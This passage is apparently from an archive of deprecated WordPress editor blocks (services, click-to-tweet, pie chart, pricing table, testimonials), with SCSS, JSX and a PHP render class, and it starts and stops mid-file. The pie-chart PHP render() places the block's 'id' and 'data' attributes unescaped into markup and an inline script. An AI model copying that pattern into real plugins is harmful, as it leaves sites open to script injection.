		.wp-block-themeisle-blocks-services {
			padding: 30px 50px;
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-services {
		display: block;

		> .editor-inner-blocks > .editor-block-list__layout {
			display: block;
	
			> [data-type="themeisle-blocks/service-block"] {
				display: flex;
				flex-direction: column;
				flex: 1;
				width: auto;
	
				.editor-block-list__block-edit {
					margin-top: 12px;
					flex-basis: 100%;
				}
			}
		}
	}
}

@media ( max-width:1024px ) {
	[data-type="themeisle-blocks/services"] {
		&[data-align="full"] {
			.wp-block-themeisle-blocks-services {
				padding: 100px 20px;
			}
		}

		&[data-align="wide"] {
			.wp-block-themeisle-blocks-services {
				padding: 30px 50px;
			}
		}
	}
}deprecated/services/index.js000066600000000176151151722020012140 0ustar00/**
 * Services Block
 */
import './style.scss';
import './editor.scss';
import './services-block';
import './service-block';
deprecated/services/services-block.js000066600000011334151151722020013742 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	ColorPalette,
	InnerBlocks,
	InspectorControls,
	MediaPlaceholder
} = wp.editor;

const {
	Button,
	ToggleControl,
	SelectControl,
	PanelBody
} = wp.components;

const { Fragment } = wp.element;

registerBlockType( 'themeisle-blocks/services', {
	title: __( 'Our Services' ),
	description: __( 'Use this Services table to showcase services your website offers.' ),
	icon: 'columns',
	category: 'themeisle-blocks',
	keywords: [
		'services',
		'features',
		'orbitfox'
	],
	attributes: {
		backgroundType: {
			type: 'string',
			default: 'color'
		},
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		},
		backgroundImageID: {
			type: 'string'
		},
		backgroundImageURL: {
			type: 'string'
		},
		backgroundDimmed: {
			type: 'boolean',
			default: true
		},
		backgroundParallax: {
			type: 'boolean',
			default: false
		}
	},

	supports: {
		align: [ 'wide', 'full' ],
		inserter: false
	},

	edit: props => {
		const ALLOWED_BLOCKS = [ 'themeisle-blocks/service-block' ];
		const ALLOWED_MEDIA_TYPES = [ 'image' ];
		const TEMPLATE = [ [ 'themeisle-blocks/service-block' ], [ 'themeisle-blocks/service-block' ], [ 'themeisle-blocks/service-block' ] ];
		const changeType = value => {
			props.setAttributes({ backgroundType: value });
		};
		const changeColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const changeBackground = value => {
			props.setAttributes({
				backgroundImageID: value.id,
				backgroundImageURL: value.url
			});
		};
		const removeBackground = () => {
			props.setAttributes({
				backgroundImageID: '',
				backgroundImageURL: ''
			});
		};
		const toggleDimming = () => {
			props.setAttributes({ backgroundDimmed: ! props.attributes.backgroundDimmed });
		};
		const toggleParallax = () => {
			props.setAttributes({ backgroundParallax: ! props.attributes.backgroundParallax });
		};
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return [
			<InspectorControls>
				<PanelBody
					title={ __( 'Background' ) }
				>
					<SelectControl
						label={ __( 'Background Type' ) }
						value={ props.attributes.backgroundType }
						options={ [
							{ label: 'Color', value: 'color' },
							{ label: 'Image', value: 'image' }
						] }
						onChange={ changeType }
					/>
					{ 'color' === props.attributes.backgroundType ?
						<ColorPalette
							label={ __( 'Background Color' ) }
							value={ props.attributes.backgroundColor }
							onChange={ changeColor }
						/>					:
						props.attributes.backgroundImageURL ?
							<Fragment>
								<ToggleControl
									label={ __( 'Dimmed Background' ) }
									checked={ props.attributes.backgroundDimmed }
									onChange={ toggleDimming }
								/>
								<ToggleControl
									label={ __( 'Parallax Background' ) }
									checked={ props.attributes.backgroundParallax }
									onChange={ toggleParallax }
								/>
								<img
									src={ props.attributes.backgroundImageURL }
								/>
								<Button
									isLarge
									onClick={ removeBackground }
									style={ { marginTop: '10px' } }
								>
									{ __( 'Change or Remove Image' ) }
								</Button>
							</Fragment>						:
							<MediaPlaceholder
								icon="format-image"
								labels={ {
									title: __( 'Background Image' ),
									name: __( 'an image' )
								} }
								value={ props.attributes.backgroundImageID }
								onSelect={ changeBackground }
								accept="image/*"
								allowedTypes={ ALLOWED_MEDIA_TYPES }
							/>
					}
				</PanelBody>
			</InspectorControls>,

			<div
				className={ classnames(
					props.className,
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks
					allowedBlocks={ ALLOWED_BLOCKS }
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return (
			<div
				className={ classnames(
					'wp-block-themeisle-blocks-services',
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
deprecated/tweetable/style.scss000066600000001616151151722020012661 0ustar00.wp-block-themeisle-blocks-tweetable {
	display: block;
	background-color: #fff;
	position: relative;
	border: 1px solid #dddddd;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding: 15px 30px;
	margin: 15px 0px;

	p {
		margin: 0 0 10px 0;
		padding: 0;
		position: relative;
		word-wrap: break-word;
		color: #999999;
		font-size: 24px;
		line-height: 140%;
		box-shadow: none;
		letter-spacing: 0.05em;
		font-weight: 100;
		text-decoration: none;
		text-transform: none;
	}

	.tweetbutton {
		margin: 0;
		padding: 0;
		padding-right: 0px;
		display: block;
		text-transform: uppercase;
		font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
		box-shadow: none;
		font-size: 12px;
		font-weight: bold;
		line-height: 100%;
		color: #999999;
		text-align: right;
		text-decoration: none;

		&:after {
			content: "\f301";
			color: #A0CCED;
			font-family: Dashicons;
			margin: 0 5px;
		}

	}
}deprecated/tweetable/index.js000066600000011470151151722020012270 0ustar00/**
 * WordPress dependencies.
 */
const { __ } = wp.i18n;

const { get } = lodash;

const {
	registerBlockType,
	createBlock
} = wp.blocks;

const {
	Toolbar,
	TextControl
} = wp.components;

const { withSelect } = wp.data;

const {
	BlockControls,
	RichText
} = wp.editor;

/**
 * Internal dependencies
 */
import './editor.scss';
import './style.scss';

registerBlockType( 'themeisle-blocks/tweetable', {
	title: __( 'Click To Tweet' ),
	description: __( 'Click to Tweet allows visitors to easily share your content on Twitter.' ),
	icon: 'twitter',
	category: 'themeisle-blocks',
	keywords: [
		__( 'twitter' ),
		__( 'tweet' ),
		__( 'orbitfox' )
	],
	attributes: {
		quote: {
			type: 'string',
			source: 'children',
			selector: 'p',
			default: []
		},
		permalink: {
			type: 'url'
		},
		via: {
			type: 'string'
		},
		buttonText: {
			type: 'string',
			default: __( 'Click to Tweet' )
		}
	},

	supports: {
		inserter: false
	},

	transforms: {
		from: [
			{
				type: 'block',
				blocks: [ 'core/paragraph' ],
				transform: ({ content }) => {
					return createBlock( 'themeisle-blocks/tweetable', { quote: content });
				}
			},
			{
				type: 'block',
				blocks: [ 'core/quote' ],
				transform: ({ value, citation }) => {
					if ( ( ! value || ! value.length ) && ! citation ) {
						return createBlock( 'themeisle-blocks/tweetable' );
					}
					return ( value || []).map( item => createBlock( 'themeisle-blocks/tweetable', {
						quote: [ get( item, 'children.props.children', '' ) ]
					}) ).concat( citation ? createBlock( 'core/paragraph', {
						content: citation
					}) : []);
				}
			},
			{
				type: 'block',
				blocks: [ 'core/pullquote' ],
				transform: ({ value, citation }) => {
					if ( ( ! value || ! value.length ) && ! citation ) {
						return createBlock( 'themeisle-blocks/tweetable' );
					}
					return ( value || []).map( item => createBlock( 'themeisle-blocks/tweetable', {
						quote: [ get( item, 'children.props.children', '' ) ]
					}) ).concat( citation ? createBlock( 'core/paragraph', {
						quote: citation
					}) : []);
				}
			}
		],
		to: [
			{
				type: 'block',
				blocks: [ 'core/paragraph' ],
				transform: ({ content, quote }) => {
					if ( ! quote || ! quote.length ) {
						return createBlock( 'core/paragraph' );
					}
					return ( quote || []).map( item => createBlock( 'core/paragraph', {
						content: quote
					}) );
				}
			},
			{
				type: 'block',
				blocks: [ 'core/quote' ],
				transform: ({ quote }) => {
					return createBlock( 'core/quote', {
						value: [
							{ children: <p key="1">{ quote }</p> }
						]
					});
				}
			},
			{
				type: 'block',
				blocks: [ 'core/pullquote' ],
				transform: ({ quote }) => {
					return createBlock( 'core/pullquote', {
						value: [
							{ children: <p key="1">{ quote }</p> }
						]
					});
				}
			}
		]
	},

	edit: withSelect( ( select, props ) => {
		const { getPermalink } = select( 'core/editor' );

		if ( props.attributes.permalink === undefined ) {
			props.setAttributes({ permalink: getPermalink() });
		}

		return {
			permalink: getPermalink(),
			props
		};
	})( ({ props, className }) => {
		const onChangeQuote = ( value ) => {
			props.setAttributes({ quote: value });
		};

		const onChangeButton = ( value ) => {
			props.setAttributes({ buttonText: value });
		};

		const onChangeVia = ( value ) => {
			props.setAttributes({ via: value });
		};

		return [
			<BlockControls key="controls">
				<Toolbar>

					<i className="fas fa-at tweetable-icon"></i>

					<TextControl
						type="text"
						placeholder="Username"
						className="tweetable-controls"
						value={ props.attributes.via }
						onChange={ onChangeVia }
					/>

				</Toolbar>
			</BlockControls>,
			<blockquote className={ className }>
				<RichText
					tagName="p"
					multiline="false"
					placeholder={ __( 'What should we tweet?' ) }
					value={ props.attributes.quote }
					formattingControls={ [] }
					onChange={ onChangeQuote }
					keepPlaceholderOnFocus
				/>

				<RichText
					tagName="span"
					placeholder={ __( 'Tweet this!' ) }
					className="tweetbutton"
					value={ props.attributes.buttonText ? props.attributes.buttonText : __( 'Tweet this!' ) }
					formattingControls={ [] }
					onChange={ onChangeButton }
					keepPlaceholderOnFocus
				/>
			</blockquote>
		];
	}),

	save: props => {
		const viaUrl = props.attributes.via ? `&via=${ props.attributes.via }` : '';

		const tweetUrl = `http://twitter.com/share?&text=${ encodeURIComponent( props.attributes.quote ) }&url=${ props.attributes.permalink }${ viaUrl }`;

		return (
			<blockquote>
				<RichText.Content
					tagName="p"
					value={ props.attributes.quote }
				/>

				<RichText.Content
					tagName="a"
					className="tweetbutton"
					href={ tweetUrl }
					value={ props.attributes.buttonText }
					target="_blank"
				/>
			</blockquote>
		);
	}
});
deprecated/tweetable/editor.scss000066600000002230151151722020013000 0ustar00.editor-block-list__block {
	.tweetable-icon {
		padding: 10px 8px;
	}
}

.editor-block-list__block {
 .tweetable-controls {
	.components-base-control__field {
		margin-bottom: 0;
	}
	input[type="text"] {
		width: auto;
		padding: 8px 8px;
	}
 }
}

.wp-block-themeisle-blocks-tweetable {
	display: block;
	background-color: #fff;
	position: relative;
	border: 1px solid #dddddd;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding: 15px 30px;
	margin: 15px 0px;

	p {
		margin: 0 0 10px 0;
		padding: 0;
		position: relative;
		word-wrap: break-word;
		color: #999999;
		font-size: 24px;
		line-height: 140%;
		box-shadow: none;
		letter-spacing: 0.05em;
		font-weight: 100;
		text-decoration: none;
		text-transform: none;
	}

	.tweetbutton {
		margin: 0;
		padding: 0;
		padding-right: 0px;
		position: relative;
		display: block;
		text-transform: uppercase;
		font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
		box-shadow: none;
		font-size: 12px;
		font-weight: bold;
		line-height: 100%;
		color: #999999;
		float: right;
		text-decoration: none;

		&:after {
			content: "\f301";
			color: #A0CCED;
			font-family: Dashicons;
			margin: 0 5px;
		}

	}
}deprecated/chart/index.js000066600000001567151151722020011423 0ustar00/**
 * External dependencies
 */
import Editor from './Editor.js';

/**
 * WordPress dependencies.
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

/**
 * Internal dependencies
 */
import './editor.scss';

registerBlockType( 'themeisle-blocks/chart-pie', {
	title: __( 'Pie Chart' ),
	description: __( 'Display a beautiful Pie Chart on your blog post with Pie Chart block.' ),
	icon: 'chart-pie',
	category: 'themeisle-blocks',
	keywords: [
		__( 'pie' ),
		__( 'chart' ),
		__( 'orbitfox' )
	],
	attributes: {
		data: {
			type: 'string',
			default: '[["Label","Data"],["Dogs",40],["Cats",30],["Racoons",20],["Monkeys",10]]'
		},
		options: {
			type: 'object',
			default: {
				title: 'Animals',
				is3D: true
			}
		},
		id: {
			type: 'string',
			default: ''
		}
	},

	supports: {
		inserter: false
	},

	edit: Editor,

	save: () => {
		return null;
	}
});
deprecated/chart/Editor.js000066600000004505151151722020011535 0ustar00/**
 * External dependencies
 */
import { Chart } from 'react-google-charts';

/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const {
	Component,
	Fragment
} = wp.element;

const {
	ExternalLink,
	FormToggle,
	Notice,
	PanelBody,
	PanelRow,
	TextControl
} = wp.components;

const { InspectorControls } = wp.editor;

class Editor extends Component {
	constructor() {
		super( ...arguments );

		this.changeChartTitle = this.changeChartTitle.bind( this );
		this.toggle3d = this.toggle3d.bind( this );

		if ( this.props.clientId && '' === this.props.attributes.id ) {
			const id = this.props.clientId;
			this.props.setAttributes({ id });
		}

		this.data = JSON.parse( this.props.attributes.data );
	}

	changeChartTitle( value ) {
		const options = { ...this.props.attributes.options };
		options.title = value;
		this.props.setAttributes({ options });
	}

	toggle3d() {
		const options = { ...this.props.attributes.options };
		options.is3D = ! this.props.attributes.options.is3D;
		this.props.setAttributes({ options });
	}

	render() {
		return (
			<Fragment>

				<InspectorControls>
					<PanelBody
						title={ __( 'Chart Settings' ) }
					>
						<TextControl
							label={ __( 'Chart Title' ) }
							value={ this.props.attributes.options.title }
							onChange={ this.changeChartTitle }
						/>
						<PanelRow>
							<label
								htmlFor="is-3d-form-toggle"
							>
								{ __( 'Is chart 3d?' ) }
							</label>
							<FormToggle
								id="is-3d-form-toggle"
								label={ __( 'Is chart 3rd? ' ) }
								checked={ this.props.attributes.options.is3D }
								onChange={ this.toggle3d }
							/>
						</PanelRow>
					</PanelBody>
				</InspectorControls>

				<div className={ this.props.className }>
					<Chart
						chartType="PieChart"
						data={ JSON.parse( this.props.attributes.data ) }
						options={ this.props.attributes.options }
						width="100%"
						height="400px"
						legendToggle
					/>
				</div>
				<Notice status="warning" isDismissible={ false }>{ __( 'We have deprecated Pie Chart Block and it will be removed soon. For advanced options and more charts, please install our Visualizer plugin:' ) } <ExternalLink href="http://wordpress.org/plugins/visualizer/">{ __( 'Visualizer: Tables and Charts Manager for WordPress' ) }</ExternalLink></Notice>
			</Fragment>
		);
	}
}

export default Editor;
deprecated/chart/editor.scss000066600000000134151151722020012126 0ustar00.wp-block-themeisle-blocks-chart-pie {
	width: 100%;

	.is-button {
		margin-top: 10px;
	}
}deprecated/chart/class-chart-pie-block.php000066600000003510151151722020014524 0ustar00<?php
namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Chart_Pie_Block
 */
class Chart_Pie_Block extends Base_Block {

	/**
	 * Constructor function for the module.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Every block needs a slug, so we need to define one and assign it to the `$this->block_slug` property
	 *
	 * @return mixed
	 */
	function set_block_slug() {
		$this->block_slug = 'chart-pie';
	}

	/**
	 * Set the attributes required on the server side.
	 *
	 * @return mixed
	 */
	function set_attributes() {
		$this->attributes = array(
			'data' => array(
				'type'    => 'string',
				'default' => '[["Label","Data"],["Dogs",40],["Cats",30],["Racoons",20],["Monkeys",10]]',
			),
			'options' => array(
				'type' => 'object',
				'default' => [
					'title' => __( 'Animals', 'themeisle-companion' ),
					'is3D' => true,
				],
			),
			'id' => array(
				'type' => 'string',
			),
		);
	}

	/**
	 * Block render function for server-side.
	 *
	 * This method will pe passed to the render_callback parameter and it will output
	 * the server side output of the block.
	 *
	 * @return mixed|string
	 */
	function render( $attributes ) {
		$chart_markup = "<div class='wp-block-themeisle-blocks-chart-pie' id='" . $attributes['id'] . "' style='width: 100%; min-height: 450px;'></div>";

		$script = "<script>
			google.charts.load('current', {'packages':['corechart'] });
			google.charts.setOnLoadCallback(drawChart);
	
			function drawChart() {
				var data = google.visualization.arrayToDataTable(" . $attributes['data'] . ');
				var options = ' . json_encode( $attributes['options'] ) . ";
				var chart = new google.visualization.PieChart(document.getElementById('" . $attributes['id'] . "'));
				chart.draw(data, options);
			}
		</script>";

		return $chart_markup . $script;
	}
}
deprecated/pricing-table/style.scss000066600000002673151151722020013431 0ustar00.wp-block-themeisle-blocks-pricing-table {
	display: flex;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	&.alignfull {
		padding: 100px;
	}

	&.alignwide {
		padding: 100px 150px;
	}

	.wp-block-column {
		position: relative;
		flex: 1;
		padding: 20px 10px;
		margin: 0 20px;
	}

	.raised {
		-webkit-box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
		-moz-box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
		box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
	}
}


@media ( min-width:768px ) {
	.wp-block-themeisle-blocks-pricing-table {
		.wp-block-column {

			&:first-child {
				margin-left: 0;
			}
	
			&:last-child {
				margin-right: 0;
			}
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-pricing-table {
		display: block;

		.wp-block-column {
			margin: 20px;
		}
	}
}

@media ( max-width:1024px ) {
	.wp-block-themeisle-blocks-pricing-table {

		&.alignfull {
			padding: 100px 20px;
		}
	
		&.alignwide {
			padding: 100px 20px;
		}
	}
}deprecated/pricing-table/pricing-block.js000066600000006463151151722020014456 0ustar00/**
 * WordPress dependencies
 */

import classnames from 'classnames';

const { __ } = wp.i18n;

const {
	registerBlockType
} = wp.blocks;

const {
	InnerBlocks,
	BlockControls,
	InspectorControls,
	PanelColorSettings
} = wp.editor;

const {
	Dashicon,
	Toolbar,
	Button,
	Tooltip
} = wp.components;

/**
 * Internal dependencies
 */
registerBlockType( 'themeisle-blocks/pricing-block', {
	title: __( 'Pricing Block' ),
	description: __( 'Pricing tables are a critical part in showcasing your services, prices and overall offerings.' ),
	parent: [ 'themeisle-blocks/pricing-table' ],
	icon: 'slides',
	category: 'themeisle-blocks',
	keywords: [
		'pricing',
		'table',
		'orbitfox'
	],
	attributes: {
		featured: {
			type: 'boolean',
			default: false
		},
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		}
	},

	supports: {
		inserter: false
	},

	edit: props => {
		const toggleFeatured = () => {
			props.setAttributes({ featured: ! props.attributes.featured });
		};
		const setBackgroundColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const TEMPLATE =  [
			[ 'core/heading', {
				content: __( 'Basic' ),
				className: 'pricing-title',
				align: 'center',
				level: 5
			} ],
			[ 'core/paragraph', {
				content: __( '$9.99' ),
				align: 'center',
				customFontSize: 36
			} ],
			[ 'core/paragraph', {
				content: __( 'Per Month' ),
				align: 'center',
				customFontSize: 12
			} ],
			[ 'core/separator', {} ],
			[ 'core/paragraph', {
				content: __( 'First Feature' ),
				align: 'center',
				fontSize: 'small'
			} ],
			[ 'core/separator', {} ],
			[ 'core/paragraph', {
				content: __( 'Second Feature' ),
				align: 'center',
				fontSize: 'small'
			} ],
			[ 'core/separator', {} ],
			[ 'core/paragraph', {
				content: __( 'Last Feature' ),
				align: 'center',
				fontSize: 'small'
			} ],
			[ 'core/separator', {} ],
			[ 'core/button', {
				text: __( 'Buy Now' ),
				className: 'pricing-button',
				align: 'center'
			} ]
		];

		return [
			<BlockControls key="toolbar-controls">
				<Toolbar
					className='components-toolbar'
				>
					<Tooltip text={ __( 'Feature Table' )	}>
						<Button
							className={ classnames(
								'components-icon-button',
								'components-toolbar__control',
								{ 'is-active': props.attributes.featured },
							) }
							onClick={ toggleFeatured }
						>
							<Dashicon icon="star-empty" />
						</Button>
					</Tooltip>
				</Toolbar>
			</BlockControls>,

			<InspectorControls>
				<PanelColorSettings
					title={ __( 'Color Settings' ) }
					initialOpen={ true }
					colorSettings={ [
						{
							value: props.attributes.backgroundColor,
							onChange: setBackgroundColor,
							label: __( 'Background Color' )
						}
					] }
				>
				</PanelColorSettings>
			</InspectorControls>,

			<div
				className={ classnames(
					'wp-block-column',
					{ 'raised': props.attributes.featured },
				) }
				style={ {
					backgroundColor: props.attributes.backgroundColor
				}}
			>
				<InnerBlocks
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		return (
			<div
				className={ classnames(
					'wp-block-column',
					{ 'raised': props.attributes.featured },
				) }
				style={ {
					backgroundColor: props.attributes.backgroundColor
				} }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
deprecated/pricing-table/editor.scss000066600000005177151151722020013561 0ustar00// These margins make sure that nested blocks stack/overlay with the parent block chrome
// This is sort of an experiment at making sure the editor looks as much like the end result as possible
// Potentially the rules here can apply to all nested blocks and enable stacking, in which case it should be moved elsewhere
.wp-block-themeisle-blocks-pricing-table .editor-block-list__layout {
	margin-left: 0;
	margin-right: 0;

	// This max-width is used to constrain the main editor panel, it should not cascade into columns
	.editor-block-list__block {
		max-width: none;
	}
}

.wp-block-themeisle-blocks-pricing-table {
	display: block;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	> .editor-inner-blocks > .editor-block-list__layout {
		display: flex;

		> [data-type="themeisle-blocks/pricing-block"] {
			display: flex;
			flex-direction: column;
			flex: 1;
			width: 0;

			.editor-block-list__block-edit {
				margin-top: 12px;
				flex-basis: 100%;
			}
		}
	}

	.wp-block-column {
		&:first-child {
			margin-left: 0;
		}

		&:last-child {
			margin-right: 0;
		}

		position: relative;
		padding: 20px 10px;
		margin: 0 20px;
	}
  
	.raised {
		-webkit-box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
		-moz-box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
		box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
	}
}

[data-type="themeisle-blocks/pricing-table"] {
	&[data-align="full"] {
		.wp-block-themeisle-blocks-pricing-table {
			padding: 100px 150px;
		}
	}

	&[data-align="wide"] {
		.wp-block-themeisle-blocks-pricing-table {
			padding: 30px 50px;
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-pricing-table {
		display: block;

		> .editor-inner-blocks > .editor-block-list__layout {
			display: block;
	
			> [data-type="themeisle-blocks/pricing-block"] {
				display: flex;
				flex-direction: column;
				flex: 1;
				width: auto;
	
				.editor-block-list__block-edit {
					margin-top: 12px;
					flex-basis: 100%;
				}
			}
		}
	}
}

@media ( max-width:1024px ) {
	[data-type="themeisle-blocks/pricing-table"] {
		&[data-align="full"] {
			.wp-block-themeisle-blocks-pricing-table {
				padding: 100px 20px;
			}
		}

		&[data-align="wide"] {
			.wp-block-themeisle-blocks-pricing-table {
				padding: 30px 50px;
			}
		}
	}
}deprecated/pricing-table/index.js000066600000000202151151722020013023 0ustar00/**
 * Pricing Table Block
 */
import './style.scss';
import './editor.scss';
import './pricing-table';
import './pricing-block';
deprecated/pricing-table/pricing-table.js000066600000011376151151722020014452 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	ColorPalette,
	InnerBlocks,
	InspectorControls,
	MediaPlaceholder
} = wp.editor;

const {
	Button,
	ToggleControl,
	SelectControl,
	PanelBody
} = wp.components;

const { Fragment } = wp.element;

registerBlockType( 'themeisle-blocks/pricing-table', {
	title: __( 'Pricing Table' ),
	description: __( 'Pricing tables are a critical part in showcasing your services, prices and overall offerings.' ),
	icon: 'slides',
	category: 'themeisle-blocks',
	keywords: [
		'pricing',
		'table',
		'orbitfox'
	],
	attributes: {
		backgroundType: {
			type: 'string',
			default: 'color'
		},
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		},
		backgroundImageID: {
			type: 'string'
		},
		backgroundImageURL: {
			type: 'string'
		},
		backgroundDimmed: {
			type: 'boolean',
			default: true
		},
		backgroundParallax: {
			type: 'boolean',
			default: false
		}
	},

	supports: {
		align: [ 'wide', 'full' ],
		inserter: false
	},

	edit: props => {
		const ALLOWED_BLOCKS = [ 'themeisle-blocks/pricing-block' ];
		const ALLOWED_MEDIA_TYPES = [ 'image' ];
		const TEMPLATE = [ [ 'themeisle-blocks/pricing-block' ], [ 'themeisle-blocks/pricing-block' ], [ 'themeisle-blocks/pricing-block' ] ];
		const changeType = value => {
			props.setAttributes({ backgroundType: value });
		};
		const changeColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const changeBackground = value => {
			props.setAttributes({
				backgroundImageID: value.id,
				backgroundImageURL: value.url
			});
		};
		const removeBackground = () => {
			props.setAttributes({
				backgroundImageID: '',
				backgroundImageURL: ''
			});
		};
		const toggleDimming = () => {
			props.setAttributes({ backgroundDimmed: ! props.attributes.backgroundDimmed });
		};
		const toggleParallax = () => {
			props.setAttributes({ backgroundParallax: ! props.attributes.backgroundParallax });
		};
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return [
			<InspectorControls>
				<PanelBody
					title={ __( 'Background' ) }
				>
					<SelectControl
						label={ __( 'Background Type' ) }
						value={ props.attributes.backgroundType }
						options={ [
							{ label: 'Color', value: 'color' },
							{ label: 'Image', value: 'image' }
						] }
						onChange={ changeType }
					/>
					{ 'color' === props.attributes.backgroundType ?
						<ColorPalette
							label={ __( 'Background Color' ) }
							value={ props.attributes.backgroundColor }
							onChange={ changeColor }
						/>					:
						props.attributes.backgroundImageURL ?
							<Fragment>
								<ToggleControl
									label={ __( 'Dimmed Background' ) }
									checked={ props.attributes.backgroundDimmed }
									onChange={ toggleDimming }
								/>
								<ToggleControl
									label={ __( 'Parallax Background' ) }
									checked={ props.attributes.backgroundParallax }
									onChange={ toggleParallax }
								/>
								<img
									src={ props.attributes.backgroundImageURL }
								/>
								<Button
									isLarge
									onClick={ removeBackground }
									style={ { marginTop: '10px' } }
								>
									{ __( 'Change or Remove Image' ) }
								</Button>
							</Fragment>						:
							<MediaPlaceholder
								icon="format-image"
								labels={ {
									title: __( 'Background Image' ),
									name: __( 'an image' )
								} }
								value={ props.attributes.backgroundImageID }
								onSelect={ changeBackground }
								accept="image/*"
								allowedTypes={ ALLOWED_MEDIA_TYPES }
							/>
					}
				</PanelBody>
			</InspectorControls>,

			<div
				className={ classnames(
					props.className,
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks
					allowedBlocks={ ALLOWED_BLOCKS }
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return (
			<div
				className={ classnames(
					'wp-block-themeisle-blocks-pricing-table',
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
deprecated/testimonials/testimonials-area.js000066600000011425151151722020015341 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	ColorPalette,
	InnerBlocks,
	InspectorControls,
	MediaPlaceholder
} = wp.editor;

const {
	Button,
	ToggleControl,
	SelectControl,
	PanelBody
} = wp.components;

const { Fragment } = wp.element;

registerBlockType( 'themeisle-blocks/testimonials-area', {
	title: __( 'Testimonials Area' ),
	description: __( 'Display kudos from customers and clients and display them on your website.' ),
	icon: 'testimonial',
	category: 'themeisle-blocks',
	keywords: [
		'testimonials',
		'clients',
		'quotes'
	],
	attributes: {
		backgroundType: {
			type: 'string',
			default: 'color'
		},
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		},
		backgroundImageID: {
			type: 'string'
		},
		backgroundImageURL: {
			type: 'string'
		},
		backgroundDimmed: {
			type: 'boolean',
			default: true
		},
		backgroundParallax: {
			type: 'boolean',
			default: false
		}
	},

	supports: {
		align: [ 'wide', 'full' ],
		inserter: false
	},

	edit: props => {
		const ALLOWED_BLOCKS = [ 'themeisle-blocks/testimonials-block' ];
		const ALLOWED_MEDIA_TYPES = [ 'image' ];
		const TEMPLATE = [ [ 'themeisle-blocks/testimonials-block' ], [ 'themeisle-blocks/testimonials-block' ], [ 'themeisle-blocks/testimonials-block' ] ];
		const changeType = value => {
			props.setAttributes({ backgroundType: value });
		};
		const changeColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const changeBackground = value => {
			props.setAttributes({
